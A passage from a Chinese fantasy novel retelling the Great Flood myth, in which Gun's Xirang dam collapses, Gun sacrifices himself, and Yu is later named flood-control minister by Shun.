禹看见鲧穿过喧嚣的人群,登到一处稍高之地,奋力振臂高呼:“乡亲们!洪水暂退,家园待兴!跟我来,凿石犀,镇水脉!护我桑林里!” 在他的召唤下,桑林里残存的青壮和妇孺迸发出惊人的力量。巨大的花岗岩被从附近山体开采出来,在老石匠的指挥下,上百名汉子喊着粗犷的号子,用最原始的石锤、石凿、石锛,叮叮当当地雕琢着。汗水混合着石屑流淌,一尊体型庞大、造型古朴雄浑的石犀牛初具雏形。人们相信,这承载着祈愿的石犀,能镇压水眼,永保平安。 “这堤……不对劲。”禹低沉的声音让身旁两个年轻人都转过头来。 羲青轻声道:“禹哥,你也感觉到了?这息壤好像在吞噬地脉灵气。” 砺疑惑道:“可是它挡住了洪水!司空做到了!” 禹摇摇头,目光深远:“堵得住一时,堵不住一世。水势只会积蓄更大的力量。”他想起这些年来带领西羌的小伙伴阿牛、芦花游历天下,在不同流域试行疏导方法的经历——在黄河支流,他们开凿水道,将肆虐的洪水引向干涸的河谷;在淮水之滨,他们疏通淤塞的河道,让泛滥的河水回归故道。 “禹哥说得对。”一个粗犷的声音从身后传来。只见一个身材魁梧的青年和一个精瘦灵活的汉子走上前来,正是从小追随禹的阿牛和芦花。 “在岷山一带时,禹哥就带我们疏导溪流。”阿牛粗糙的手掌比划着,“挖渠引水,比硬堵管用多了。” 芦花接口道:“可不是嘛!那次山洪,要不是禹哥提前让我们开凿分流渠,整个村子都没了!”他灵活地转着手中的竹竿,“禹哥的办法,总是看得长远。” 禹微微摆手,目光仍锁定在那道暗金巨堤上:“每个地方的水情不同,不能一概而论。但这息壤……给我的感觉很不好。” 他转向羲青:“青儿,你的星盘可有什么示警?” 羲青低头看着星盘:“地脉灵力正在扭曲,以巨堤为中心,生机在流逝。” 四人沉默地望着那道巍峨的堤坝,各怀心事。 夜幕降临,砺将兽皮帐的支骨松了松——那是用三根泡桐枝撑开的旱獭皮篷顶,禹便掀帘而入,衣摆还沾着黄泥,背后跟着阿牛和芦花。过了一会儿,羲青也来了。五人在火堆旁坐定,跃动的火光将兽皮篷顶映得恍若流动的洚水,木桩上搭着的夯杵、测绳与骨耜,在帐上映出奇谲的暗影。 禹轻声道:“我明日就要离开。” “又要走?”羲青惊讶地抬头,“才刚回来……” 禹的目光温柔却坚定:“我需要更多证据,更多实践。阿牛、芦花会随我继续考察大河水系。青儿,你留心记录息壤的变化;砺,你保护好父亲和桑林里。” 砺抬手按了按禹的肩:“我知道劝不住你 —— 你放心,我一定寸步不离地跟着司空!你和阿牛、芦花在外头,也要多保重!” 禹站起身,望向远处镇泽台上鲧枯槁却倔强的身影:“总有一天,我会带着无可辩驳的方法回来。” 次日一早,送别了禹,砺就全身心投入到加固堤防、安置灾民的事务中,无暇他顾。而羲青心里总觉得忐忑,又来到息壤巨堤下观察。正见十岁的桑妹,挎着藤篮,在新建的、距离暗金巨堤尚有一段安全距离的缓坡上忙碌着。她小心地将一根根柔韧的柳枝插入湿润的泥土,又从篮中取出珍藏的、不知名野花种子撒下。她的动作轻柔而虔诚,仿佛在编织一个关于安宁与繁花的梦。 “青姊,”桑妹看到羲青,脸上露出笑容,“你看,柳枝活了,花籽也发芽了!等夏天到了,这里就是一片花海,蝴蝶也会飞回来!” 羲青勉强笑了笑,心中却像压着块浸了水的石头,沉甸甸的。她的目光不由自主地投向远处那道巍峨的暗金巨堤。在最初的震撼过后,一种难以言喻的不安如同冰冷的藤蔓,悄然缠绕上她的心头。她展开兽骨,开始刻画堤坝周边最新的地貌水纹图。 很快,她发现了异常。借助星盘,她能清晰地感知到,以息壤巨堤为中心,代表生机的地脉灵力纹路,正以一种缓慢但不可逆转的速度变得黯淡、稀疏、扭曲!仿佛地底深处有什么东西,正在被那巨堤贪婪地汲取、吞噬。她将这份忧虑记录在《水经》上,却不知该向谁诉说。 她奔出村外,验证自己的图录。眼前所见令她心头发冷:距离巨堤较近的土地,原本在暮春时节应该草木葱茏,此刻却呈现出一种诡异的灰败。新生的草芽萎蔫发黄,抽条的桑树枝叶稀疏,叶缘卷曲,失去了应有的光泽。新开垦的粟田,禾苗稀疏矮小,叶片上出现了大块大块不祥的锈斑。 “是地力……息壤在吞噬地脉的灵力……”羲青喃喃自语,用小刀在兽骨上颤抖着勾勒出那些代表枯萎的灰暗纹路。她想起后土的警告,想起共工的诅咒。 更可怕的迹象接踵而至。 几场小雨过后,人们惊恐地发现,那坚不可摧的暗金色巨堤底部,一些不起眼的缝隙里,竟缓缓渗出了粘稠的、散发着浓烈腥臭的黑色浆液!那黑浆如同腐败的血液,所过之处,土壤迅速板结、发黑,散发出死亡的气息。一些胆大的孩子好奇地靠近,被那气味一熏,顿时头晕目眩,呕吐不止。 鲧带着人用泥土试图掩埋这些渗出的黑浆,但无济于事。黑浆如同有生命的毒蛇,总能找到新的缝隙钻出。羲青蹲在一处渗漏点旁,仔细观察那些黑浆。她用树枝小心挑起一点,在兽骨空白处涂抹开,凝神感知。那粘稠的黑浆中,竟隐隐浮现出无数扭曲挣扎的怨魂面孔!一个熟悉的、充满恶意和嘲弄的声音,如同从九幽地狱最深处传来,直接在她脑海中响起: “嗬嗬嗬……鲧!蠢材!尔妄图以这创世天土,强堵地怨戾气?此乃抱薪救火,饮鸩止渴!天河水泄泻,乃天裂之创,根源在上!尔封堵下界,犹如以朽木塞溃堤之穴,徒增其压!看吧,看这息壤如何反噬!看这人间如何被尔之‘神迹’拖入更深的地狱!嗬嗬嗬嗬……” 是共工残魂的尖笑!它竟已悄然渗透、污染了部分息壤! 羲青猛地后退一步,脸色煞白。她迅速在兽骨上绘下那黑浆的形态,凝重而急促。这哪里是治水的神土?分明是埋入大地的毒瘤!是共工用来腐化地脉、酝酿更大灾祸的温床! 息壤巨堤矗立两年,已成桑林里上空一道狰狞的暗金伤疤。曾经短暂的神迹光辉早已褪尽,取而代之的是地脉深处传来的、永无止境的饥渴呜咽。堤体表面,蛛网般的裂痕里不断渗出粘稠腥臭的黑浆,如同大地溃烂的脓血。堤外,洪水被强行扼住咽喉,在千丈坚壁前徒劳咆哮,积蓄着毁灭的力量;堤内,被庇护的土地却是一片死寂的灰败。草木凋零,粟禾萎蔫,河流散发着腐水的气息。曾经欢呼的人群,如今只剩下沉默的佝偻背影和孩童因饥饿发出的微弱啼哭。 砺站在堤内一处高坡上。他脚下原本肥沃的冲积地,如今板结龟裂,裂缝里泛着盐碱的白霜。远处,桑妹曾经插下柳枝、撒下花种的地方,只剩下几株枯黑的树桩,像绝望伸向天空的手爪。他望向巨堤,望向堤上那个同样佝偻、却依旧如钉子般钉在镇泽台最高处的身影,眼中翻涌着复杂的情绪:有对鲧的忠诚,有对现状的忧虑,更有一种被无形枷锁束缚的窒息感。鲧还活着,三日阳寿的预言虽然已经显得可笑,但是鲧的身形枯槁,让人怀疑这是一个大活人。砺的目光又转向羲青正蹲在溪边绘图的身影,那身影单薄却倔强,像株在贫瘠土地上顽强扎根的桑苗。 羲青蹲在一条泛着恶臭的小溪边,溪水浑浊,带着息壤渗出的黑浆特有的油腻感。她展开兽骨,用磨尖的炭条快速勾勒着水纹的异常走向。兽骨上,一幅详尽的《地脉枯竭图》已近完成,以息壤巨堤为圆心,代表生机的绿色灵力脉络如同被吸干的血管,向四周辐射出大片象征死亡的灰黑色区域。她眉头紧锁,一丝不祥的预感如同冰冷的蛇,缠绕上她的脊椎。河图星纹在她怀中微微发烫,仿佛在共鸣着某种即将到来的剧变。 当二十三岁的禹再次回到桑林里时,带回来的不仅是更加成熟的面容,还有整整两竹箱的刻录——上面详细记载了他这些年来考察百川、实践疏导理念的心得。他与阿牛、芦花的治水实践已经在不少地方小有名气,有些人开始传说有一位年轻的治水者,能用不同于司空鲧的方法驯服洪水。 “禹哥!”羲青第一个发现他的归来,非常高兴,“你回来得正好,息壤的反噬越来越严重了!” 砺闻讯赶来,重重拍了拍禹的肩膀:“回来就好!司空他……”话未说完,只是摇头。 当晚,三人聚在禹的临时住处。禹展开他最新的勘测图:“看,这是大河上游的走势。我在岷山一带试行分流之策,效果显著。” 他指着兽骨上细致的刻画:“水非仇敌,当导而非堵。父亲的方法,终究是逆天而行。” 羲青道:“可是司空听不进这些……” 就在这时,外面突然传来惊呼声:“渗黑了!堤渗黑了!” 致命的黑浆从息壤巨堤的裂缝中涌出,所到之处,草木枯死,生灵涂炭。 禹站在父亲面前,这是两年来第一次直面相对。 “父亲,息壤正在吞噬大地生机!必须另寻他法!” 鲧疲惫地摇头:“禹儿,你还不明白……非常之时……” “正是非常之时,才不能用非常之法葬送最后生机!”禹罕见地提高了声音,“我在西羌,在岷山,在淮水之滨都试行过疏导之法,水有其道,循之则治!” 鲧怔怔望着儿子,仿佛第一次真正看清这个已经长大成人的孩子。那双眼睛里的光芒,与他母亲修己如此相似——都是那般固执而明亮。 然而一切已晚。 积蓄了两年的天怒,终于爆发。三日之后,没有预兆,没有缓冲。天河仿佛被共工残魂彻底撕开,暴雨不再是倾倒,而是天穹崩塌!狂暴的雨柱连接着混沌的云层与汹涌的大地,将整个世界砸入一片震耳欲聋的轰鸣与白茫茫的水雾之中。雷泽湖彻底沸腾,湖心那巨大的漩涡疯狂旋转,发出如同洪荒巨兽苏醒的咆哮!被强行禁锢了两年的大河,发出了积郁已久的、毁灭性的怒吼!浑浊的河水裹挟着山峦般的巨木、崩裂的巨石,如同挣脱囚笼的亿万头凶兽,以毁天灭地之势,狠狠撞向那道暗金色的息壤巨堤! “轰——隆——隆——!!!” 撞击声如同天崩!整个桑林里堤在脚下剧烈颤抖,仿佛随时会被抛入空中!暗金色的堤体发出令人牙酸的呻吟,那些早已遍布的裂缝如同被无形巨手撕扯,骤然扩大!粘稠腥臭的黑浆如同溃堤般喷涌而出!更为恐怖的是,堤体本身在洪峰和内部黑浆的双重冲击下,竟开始不规律地蠕动、膨胀!息壤这贪婪的活物,在毁灭的压力和共工怨魂的蛊惑下,彻底失控了! “堤要崩了——!” 绝望的嘶喊在暴雨和洪水的咆哮中显得如此微弱。 砺目眦欲裂,抓起号角,用尽平生力气吹响!凄厉的号角声穿透雨幕:“撤——!所有人!往高地撤——!” 他冲入混乱的村落,将瘫软在地的老人扶起,将哭泣的孩童塞给奔跑的妇人,声嘶力竭地驱赶着人群逃离这即将成为地狱的堤坝区。目光扫过人群时,总下意识地搜寻着羲青的身影,确认她在安全的方向后,才转身继续救援。 镇泽台上,鲧的身影在狂风暴雨中摇摇欲坠。他枯槁如柴,麻衣紧贴在嶙峋的骨架上,雨水顺着他灰白的发须冲刷而下。他望着下方如同末日般的景象:失控膨胀、裂缝中喷涌黑浆的息壤巨堤,堤外那排山倒海、誓要摧毁一切的灭世洪峰,堤内跌跌撞撞、哭喊奔逃的渺小人群……他深陷的眼窝中,那两簇不肯熄灭的火焰,剧烈地跳动着,充满了无尽的悲怆、不甘,以及……一种近乎解脱的决绝。 “父亲!快走!”禹顶着狂风暴雨冲上镇泽台,雨水瞬间将他浇透,他死死拉住父亲冰冷枯瘦的手臂,声音带着哭腔,“堤守不住了!快撤!” 鲧的身体纹丝不动,如同脚下这即将崩塌的石台本身。他缓缓转过头,那张被雨水冲刷得沟壑纵横的脸上,竟露出一丝极其疲惫、却又异常平静的笑容。 “走?” 他的声音嘶哑,却清晰地穿透风雨,“禹儿,你看……这堤,这水,这地……皆因我鲧而起。” 他抬起干枯如柴的手指,指向堤坝上几处正在急剧扩大的致命裂口,暗金色的息壤如同沸腾的脓液在其中翻滚。“我若走了,这堤瞬间崩塌,洪水将再无阻滞……桑林里,下游百里……顷刻化为汪洋。” 他的目光扫过远处正在组织撤退的砺,以及更远处抱着兽骨卷的羲青,最后定格在禹的脸上。“绘好它……绘给后来人看……告诉他们,堵……不是路……你的路……是对……” 禹的手无力地垂下,泪水混合着雨水汹涌而出。他知道,父亲说的是事实。此刻的息壤巨堤,就像一个被父亲的意志和精血强行束缚的、濒临爆炸的怪物。父亲若离开,束缚消失,怪物将彻底释放毁灭。 就在这时! “昂——!!!” 一声混合着无尽暴虐与毁灭气息的嘶吼,盖过了所有的风雨雷霆!雷泽湖心那巨大的漩涡猛地炸开!九颗狰狞的蛇头破水而出!九婴!这蛰伏了两年的水火瘟神,在天地剧变、息壤失控的绝佳时机,携着滔天凶威,再次降临!它巨大的蛇躯搅动浊浪,居中头颅喷吐的腐毒黑雾瞬间腐蚀大片雨幕,左右头颅操控的幽蓝火柱与寒冰巨浪,狠狠轰击在早已岌岌可危的息壤巨堤之上! “咔嚓!轰隆——!” 仿佛压垮骆驼的最后一根稻草!巨堤上最大的一处裂口,在九婴的狂暴攻击下,如同破碎的蛋壳般轰然崩裂!一股混合着暗金色息壤碎片、腥臭黑浆和滔天浊流的毁灭洪流,如同挣脱地狱的恶龙,咆哮着冲开堤防,以摧枯拉朽之势,向着堤内低洼的桑林里村猛扑而去! 洪水如墙,瞬间吞噬了靠近堤岸的数排窝棚,卷起惊恐的人畜与破碎的梁木!死亡的气息扑面而来! “不——!” 鲧发出一声撕心裂肺的咆哮!那声音中蕴含的绝望与痛苦,仿佛来自灵魂最深处! 在禹和下方无数双惊骇欲绝的目光中,鲧做出了一个超越凡人想象的举动! 他枯瘦的身影爆发出最后、最耀眼的光芒!那不是神力,而是燃烧生命本源、燃烧灵魂烙印的决绝之火!他如同扑火的飞蛾,又像陨落的星辰,从镇泽台顶纵身一跃,义无反顾地扑向那道吞噬一切的溃堤裂口! 他的身体在空中划过一道悲壮的弧线,狠狠砸入那翻滚着暗金息壤碎片、黑浆与洪水的死亡漩涡中心! “以吾魂!镇此口——!!!” 沙哑到极致的吼声,是最后的命令,也是最后的献祭! 奇迹发生了! 鲧的身体在接触到那狂暴混合体的瞬间,仿佛成了一块巨大的磁石!那些失控翻滚、四散奔流的暗金色息壤碎片,如同受到某种核心意志的强烈召唤, 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九天之上,云层骤然被撕裂!一道比九婴喷吐的火焰更加纯粹、更加炽烈的金红色光柱,如同神罚之剑,轰然刺破铅灰色的天幕!光柱之中,一位身披烈焰战甲、脚踏两条咆哮火龙的神将巍然降临!他周身散发着焚尽八荒的恐怖热浪,所过之处,暴雨被瞬间蒸干,空间都为之扭曲!正是奉帝俊之命,下界追回息壤的南方火神——祝融! 祝融的目光如同熔金,瞬间锁定下方溃口处那团正在以鲧身体为核心疯狂搏动的暗金色息壤。他眉头微蹙,似乎感应到了其中那正在飞速消逝的凡人魂魄与决绝意志。他没有言语,只是朝着那团息壤,伸出了燃烧着神火的手掌。 “收!” 威严的神谕响彻天地! 一股无形的、沛然莫御的吸力骤然降临!那团包裹着鲧、正在搏动的暗金色息壤,如同被无形巨手攫住,猛地从溃口处拔起!连带其中鲧那已不成人形的残躯,一同被强行抽离! 失去了核心的支撑,那道临时堵住溃口的息壤堤坝瞬间崩塌!积蓄的洪水再次找到宣泄口,咆哮着涌入!但祝融的动作更快! 巨大的息壤团块连同其中模糊的人形,被迅速吸向高空!在接近祝融手掌的瞬间,那团暗金色的“活土”猛地剥离、收缩、凝聚,重新化为最初那团不断蠕动变幻的灰雾状神物,只是颜色更深沉,隐隐带着一丝不祥的血色纹路。灰雾脱离了鲧的残躯,被祝融翻掌间收拢,纳入一个由流动火焰构成的玄奥符印之中,消失不见。 而鲧那失去了息壤包裹、早已被吞噬得千疮百孔的残破躯体,如同断了线的木偶,从半空中无力地坠落,带着一道黯淡的血线,直直砸向下方的溃口中心——那咆哮着、旋转着、深不见底的死亡漩涡! 羲青站在镇泽台上,浑身冰冷,眼睁睁看着那道身影被浊浪吞没,消失在那片翻滚着暗金残渣和黑浆的漩涡深处。她随身佩带的皮囊中墨玉星盘剧烈发烫,上面的星纹仿佛活了过来,疯狂流转! 就在鲧的身影彻底消失在漩涡中心的瞬间! “哗啦——!!!” 一声清越悠长、充满无尽悲怆与苍凉的泣鸣,如同穿越亘古洪荒,自那深不见底的漩涡最深处响起! 一道巨大的玄黑身影,破开浑浊的浪涛,悍然跃出水面! 是玄鱼! 它通体覆盖着幽暗如墨玉的鳞片,每一片鳞甲上都铭刻着奇特的纹路,闪烁着深邃的微光。体型庞大如舟,形态介于龙与鱼之间,流畅而充满力量。它巨大的鱼尾在空中划出一道优美的弧线,带起漫天晶莹的水珠,在晦暗的天光下折射出七彩的光晕。那双巨大的鱼目,不再是凡物的眼睛,而是如同两汪深不见底的幽潭,里面沉淀着九年的血泪和最后那以身殉水的决绝与苍茫。它深深望了一眼岸上呆滞的人群,望了一眼羲青和她怀中发光的兽骨卷,那目光仿佛穿透了时空,带着无尽的嘱托与未竟的遗憾。 随即,玄鱼巨大的身躯在空中一扭,带着千钧之势,再次扎入那翻滚的漩涡深处,消失不见。只在漩涡中心留下一个久久不散的、深邃的黑色渊影——羽渊! 浪涛依旧汹涌,却仿佛被某种无形的力量安抚,暂时平息了最狂暴的势头。 ”父亲——!!!“禹发出一声痛彻心扉的嘶吼,跪倒在泥泞之中。 砺发疯般想冲向溃口,却被几名壮汉死死抱住。他的目光死死盯着羽渊,那里吞噬了他敬若父亲的人,也吞噬了他多年来追随的岁月。 暴雨在黎明前停歇,留下满目疮痍。桑林里堤彻底崩毁,幸存的村落也大半泡在浑浊的泥水里。泥泞中,人们沉默地搜寻着可用的物资,收敛着不幸者的遗体。劫后余生的庆幸,被更深重的悲伤和茫然所取代。 羽渊畔,那片吞噬了鲧的漩涡已恢复平静,水面幽深如墨。禹跪在渊边,泥水浸透了他的麻衣。二十三岁的他,脸庞还带着青年的棱角,眼中却已沉淀着超越年龄的沉痛与坚毅。他刚刚从西羌赶来不久,就亲眼目睹了父亲的结局。阿牛和芦花站在一边,亦神情肃穆。 砺独自一人,扛着一块大石头,一步一步走到渊边。他放下大石头,抽出腰间的青铜短刀——那是鲧当年赠予他的。他用尽全身力气,在坚硬的岩石表面,一刀一划,刻下沉重如山的字迹: “鲧父殉水处 砺立” 没有歌功颂德,没有哀悼之词。只有最朴素的五个字,刻在冰冷的石头上,立在这片吞噬了英雄的深渊旁。砺的手指在刻字时被石屑划破,鲜血染红了石面,他也浑然不觉。 十七岁的羲青站在不远处,怀中紧抱着墨玉星盘,泪水无声滑落。 刻完最后一笔,砺单膝跪地,抚摸着冰冷的石刻,肩膀无声地剧烈耸动。许久,他抬起头,看向禹和羲青,声音沙哑:“司空走了,但他的事还没完。我定要找到真正治水的法子!” 禹重重一拍砺的肩膀,眼中含着泪光,却语气坚定:“砺,我不信,我等将世代困于这滔天洪水中!你就去寻找治水的法子吧!我要在这里守孝三年,研习父亲留下的《鲧工记》,弄明白他到底错在哪里,又对在哪里。” 他转向羲青:“羲青,父亲临终前的话,你也听到了。我们需要更了解这片天地,才能找到真正的生路。” 羲青用力点头,抹去眼泪:“我会走遍山川,记录水脉星象,完成《水经》。这是我父亲未完的志业,也是司空未竟之事。” 砺望着羲青单薄的身影,忧声道:“羲青,你孤身远行,我怎能安心。” 羲青道:“砺,这洪水肆虐不休,我等葬身波涛不过早晚之事。生于此时,风险本是常态。”顿了顿,看向砺,眼中有一丝难舍,但更多的是决然,“砺,你不能与我同去。星盘之秘,水窍玄机,需极静之心专研揣摩,更需寻访隐士高人,非一人之力能速成。且天下水患处处,你我分头行事,砺你勇毅实干,当去实地勘验各类水情,习百家治水之术,方能更快积累真知。我们需像网一样撒出去,方能覆盖更广。” 砺深知她说得在理。他心中有万般担忧与不舍,最终化作沉甸甸的承诺:“好!你探寻星脉水窍,我踏勘实地水情。你我各自努力,后会有期!” 说罢,将一支骨笛递与她,“此笛,赠予你作念想。” 羲青接过骨笛,只见上面刻着两个相连的绳结。她抬眸,望进砺深邃的眼眸,那里面有不舍,有担忧,更有一份沉甸甸的承诺。 五人站在羽渊畔,洪水依旧咆哮,但一种新的决心在年轻的心中燃起。他们知道,道路不同,但目标一致。 “三年后,”禹看着四位自小一同长大的伙伴,郑重地说,“无论我们在哪里,无论是否找到答案,都要再相聚。治水之事,需要我们一起努力。” “一定!”阿牛瓮声应着,率先伸出粗糙的大手。 “一定!”芦花将手重重搭上。 “一定!”砺将满是伤痕的手盖上去。 “一定!”羲青将手轻轻地覆在砺的手背上。 禹的手最后压上。五双手紧紧交叠,在羽渊的呜咽声中许下约定。 随后,羲青默然转身,身影渐渐消失在通往西方的泥泞小径上。砺则朝着东方,大步离去。 从此,禹在羽渊畔结庐而居,开始了为期三年的守孝与潜心钻研。禹将父亲留下的《鲧工记》反复研读,兽骨上密密麻麻的批注与心得,与他游历所得的刻录相互印证。伏羲所赠玉简能量天地之高下,辨脉络之走向,成为他理解山川形势的无上利器。 “阿牛,从此处开一道浅渠。”禹指挥着执意留下的两位伙伴,“芦花,你测一下水流速度。” 三人在羽山周边进行小范围试验,开凿沟渠,引流归壑。阿牛力大无穷,开山裂石;芦花精通水性,测流速、制浮标;而禹总揽全局,将理论与实践相结合。 “禹哥,通了!水通了!”芦花兴奋地喊道,看着清澈的山泉顺着新开的渠道潺潺流淌,不再肆虐成灾。 阿牛抹去额头的汗珠,憨厚地笑着:“禹哥的法子,管用。” 世人路过羽山,对他投来各异的目光。有人咒骂:“鲧无能,子亦当如是!”也有人叹息:“汝父尽忠矣,惜天不佑耳。”他沉默地承受一切,决意带着前人的遗憾走出新路。 三年时光,在孤独、思悟与实践中流逝。禹的目光愈发深邃,意志愈发坚韧。在一个春意盎然的早晨,二十七岁的禹收拾行囊,告别羽渊。阿牛和芦花紧随其后,他们要将自己的治水理念推广到天下。 “禹哥,咱们真要去蒲阪?”芦花一边整理行装一边问。 “嗯。”禹的目光望向东方,“是时候了。” 阿牛背起沉重的石工工具:“禹哥去哪,我去哪。” 禹最后回望一眼羽渊,那里沉眠着他的父亲,也埋藏着一个时代的教训。 如今,他带着新的治水之道,走向都城蒲阪。 4. 第4章:石耜承志 自鲧殉水已过去三年,洪水未退。曾经扼守雷泽与大河咽喉的桑林里,如今只剩一片突出浊流的孤丘,无人居住。浑浊的洪水环伺,水面上漂浮着枯死的桑树残骸、破碎的陶片和朽烂的屋梁,散发着绝望的霉腐气息。 砺站在一块巨岩上,背对这一切。这是三年后他第一次回到桑林里。二十二岁的他已经成经长成一名身材魁梧的青年,古铜色的皮肤上伤痕累累,刻满风霜。他的目光扫过这片浸泡在泪水中的孤岛,胸膛剧烈起伏,最终化为一声长叹,淹没在永无止境的涛声中。 鲧沉于羽渊之后,砺从撕心裂肺的悲痛中渐渐沉静,用两年时间游历四方,足迹遍布所有水患重灾区。他向各地善治水的部族与工匠虚心求教:学梁州羌人开山裂石的技法,习巴人架桥设闸的巧思,随兖州老石匠辨识地质肌理,跟东海渔夫驯服水兽的法门。他也亲眼目睹了无数百姓因水患流离失所乃至家破人亡的惨剧,从此深深懂得 “治水即治世” 的千钧分量。他苦练武艺从不懈怠,更精研重型器械 —— 他给自己打造了一柄青铜斧为“千钧破”,使其兼具破坚与疏导之能。 之后,他又耗去一载光阴 —— 在流离失所的氏族与遭灾残破的部落间,他奔走串联以凝聚人心,凭实干立信于族众;带领族众凿渠引流、筑堤护寨,一次次组织起小规模的自救与水患疏导工程。其间,他既要挺身对抗固守私利、阻挠治水的部落旧首,又要应对部落联盟中尸位素餐的主事者,更要拆穿那些借水患散布灾异谣言、操控民心以巩固祭祀权威的邪巫。 这段浸满风霜的岁月,不仅让他练就了卓越的部族动员能力、临危决断的指挥魄力,更磨砺出一双洞察复杂人际与部族纠葛的锐利目光,为日后担起治水重任埋下根基。 如今,砺再回桑林。他听闻禹 —— 鲧伯之子,即将自荐于舜,总领天下水事。砺知道,自己苦等多年的机会,终于来了。他定要辅助禹根治洪水,还天下一片安宁。只是,三载光阴悠悠而过,羲青究竟在何处?她还好吗? 帝都蒲阪,舜宫阙,气氛凝重如铅。五十三岁的舜端坐高位,眉宇间刻着多年洪水肆虐的沉重沟壑。虽代摄政事已三年,天下水患却愈演愈烈,让他忧心如焚。皋陶(士师,掌司法)、弃(农正,掌农事)、伯益(虞官,掌山林川泽)、四岳等重臣肃立,空气仿佛凝固。 “……鲧卿殉水羽渊,三载矣!”舜的声音沉痛如闷雷,“然水患未平,反愈演烈!大河夺淮,云梦倒灌,兖、豫尽成泽国!苍生泣血,予心……如焚!”他抚案的手背青筋凸起。诛鲧的谏言曾如潮涌,是他力排众议允鲧以息壤作最后一搏。鲧最终选择身殉洪水,那份悲壮与未竟的遗憾,更深地灼烧着舜的心。 殿内死寂。皋陶面色沉肃如铁,弃忧色深重,伯益目光沉静,若有所思。 “报——!”殿外传禀,“鲧之子——禹,求见!” 舜眼中精光乍现:“宣!” 二十七岁的青年禹,大步踏入。粗麻短褐,赤足沾尘,长途跋涉的疲惫掩不住眼中沉静如渊的勇毅。他怀中紧抱一片油布包裹、边缘磨损、透出暗褐污迹的简牍——《鲧工记》。 “臣禹,叩见舜!”声如清泉击石。单膝跪地,双手高捧简牍。 目光汇聚,审视、疑虑、好奇、期冀交织。 禹抬头,坦然迎向舜:“舜!诸公!先父鲧,承帝命治水,殚精竭虑,终以身殉水于羽渊!其功过,天地可鉴!然其血泪所书,尽在此卷!”他重重拍响简牍,沉闷如鼓,敲在每个人心头。 “禹生于治水之家,长于洪流之畔!曾踏遍天下,观水势涨落,察地脉走向,访贤问能,探求治水之道!”他目光灼灼扫过众人,“今禹斗胆进言:水非神怒,乃地病!如人身经络淤塞,强堵其口,必致溃烂!唯有顺其性,导其流,通其淤,乃为根本!” 他深吸一口气,声裂金石,字字如惊雷:“禹不才!愿承父志,继绝业!禹愿以此身,为天下苍生,劈山导流,定波安澜——百死无悔!” 青年的誓言,如利剑刺破阴霾!那份沉稳下的炽热,那份承继父殇的勇毅,那份源于实践的自信,让舜眼中终于爆发出久违的希望之光! “善!大善!”舜霍然起身,声震屋瓦,“‘水为地病’,乃破妄真言!鲧有子如此,其志可继!”他大步下阶,至禹前。未接简牍,转身自侍从玉匣中珍重取出一柄古朴厚重的暗青色石耜!刃口磨损,布满细密凿痕,流转着温润坚韧的古老气息。 “此乃神农圣皇辟地石耜!承圣皇志,蕴大地德!今,以此耜付尔手!”舜以石耜柄端,郑重敲击禹右肩! “咚!”浑厚闷响!一股温暖磅礴之力涌入禹身,筋骨齐鸣! “授尔全权,总理天下水患!号——司空!” 舜缓缓放下石耜,又从司仪手中接过一方玄黑玉圭。这圭并非凡物,其色如深邃夜空,又似幽深水渊,玉质内里隐隐有星河流转、水波荡漾的奇异光晕,表面铭刻着古老的疏导纹路与象征圣王权柄的云雷图腾。 “禹!此乃‘颛顼玄圭’!” 舜的声音愈发沉雄,穿透云霄,“乃昔年圣王颛顼大帝,协和神人、划分天地秩序之时,采不周山底万年玄玉,融汇百族精诚祷祝,凝九天清气、九幽水精所铸!其质通灵,其意载道!” 他目光灼灼,直视禹的双眼:“持此圭,如圣王临世!可号令四方部落,征调九州之民!此圭更有通天彻地之能——其灵韵可流转万言,化异声为心语!使持圭者,通晓百族之音,聆听天地万类之声!此乃沟通万族、协理洪荒之无上信物!今吾以颛顼玄圭授尔!水患不平,此圭不还!望尔持圭如持心,以圣王之心聆听万民之哀,以通灵之智化解百族之怨,莫负苍生,莫负天命!” 舜挥手,一旁的侍卫立刻躬身捧上一个由整块黝黑玄玉雕琢而成的古朴玉匣。匣身线条刚毅方正,表面布满繁复而古老的疏导水纹与云雷纹饰,光华内敛,却隐隐散发出一种包容、稳定的气息,仿佛能承载天地之重。舜神情无比郑重,双手捧起那枚承载着圣王意志与沟通万族之能的颛顼玄圭,将其稳稳地放入玉匣之中。 然后,他才将这承载着无上权柄与责任的玉匣,双手托起,如同托付江山社稷、万民生计一般,庄严肃穆地放入禹的掌心。 入手冰凉沉重,却瞬间有一股难以言喻的、浩瀚而温润的灵性力量透过玉匣涌入禹的身体。刹那间,他仿佛与天地万物的呼吸瞬间连通,耳边似有无数遥远而模糊的祈祷、哭泣、鸟鸣兽吼、风声水声低语,又在颛顼玄圭的力量下瞬间归于清晰的心念!这力量,正是沟通万族、导引百川的无上依仗!而这方玄玉之匣,正是守护这份力量的坚实壁垒。 舜目光如炬,扫视群臣,一道道命令如金石坠地:“皋陶!” “臣在!” 皋陶肃然出列。这位四十岁的士师,面容冷峻如削,玄色官袍衬得身形愈发挺拔。他断案从不徇私,然每当审及因饥寒犯罪的百姓,他总会额外嘱咐地方官多设粥棚——冷峻的表象下,藏着对苍生最沉的悲悯。此刻他垂眸领命,声如冰玉相击,自有司法官的威严。 “尔掌刑律,镇宵小!阻挠治水、贪墨工粮、妖言惑众、临阵脱逃、懈怠工事者,无论贵贱,依律严惩!赐尔‘北斗刑圭’,代天行罚,先斩后奏!” 一枚形似北斗七星、闪烁着冰冷寒光的玉圭被授予皋陶。 “弃!” “臣在!” 农正弃躬身领命。四十二岁的他穿着粗布褐衣,比朝堂上任何大臣都更像个农夫,手掌粗糙如老树皮,指缝里还嵌着洗不净的泥土——那是昨日在试验田育种时沾上的。他痴迷土地,能叫出天下所有谷物的名字。 “尔调百谷,济饥民!倾尽府库,务使治水之民不饥,流离之众得食!粮秣乃治水之命脉,尔肩系万民肚腹!此为予从南荒寻得之‘祝余草’,食之不饥,可作沿途军粮,亦可选择沿途地试种!” “四岳!伯益!” “臣在!” 四岳与伯益同声应道,声震殿宇。 舜的目光首先落在那四位德高望重的老者身上,他们代表着四方诸侯与部族的共同意志。“四岳,”舜的声音沉稳而充满信赖,“平水土之师远征在外,非仅前线之功,亦需稳固之后方,源源不绝之支援。协调诸部、征发民力、调集粮秣器械之重任,朕便托付于尔等了。” 四岳之首,东岳代表踏前一步,须发微颤,声音却洪亮坚定:“臣等领命!司空在前导山浚川,臣等必当竭尽全力于后,确保粮道畅通,民夫有序,诸部协同,绝不让前方将士有后顾之忧!” 西岳代表接口道:“都畿之内,臣等会与皋陶大人密切协同,稳定秩序,汇集各方资源,以为强援。” 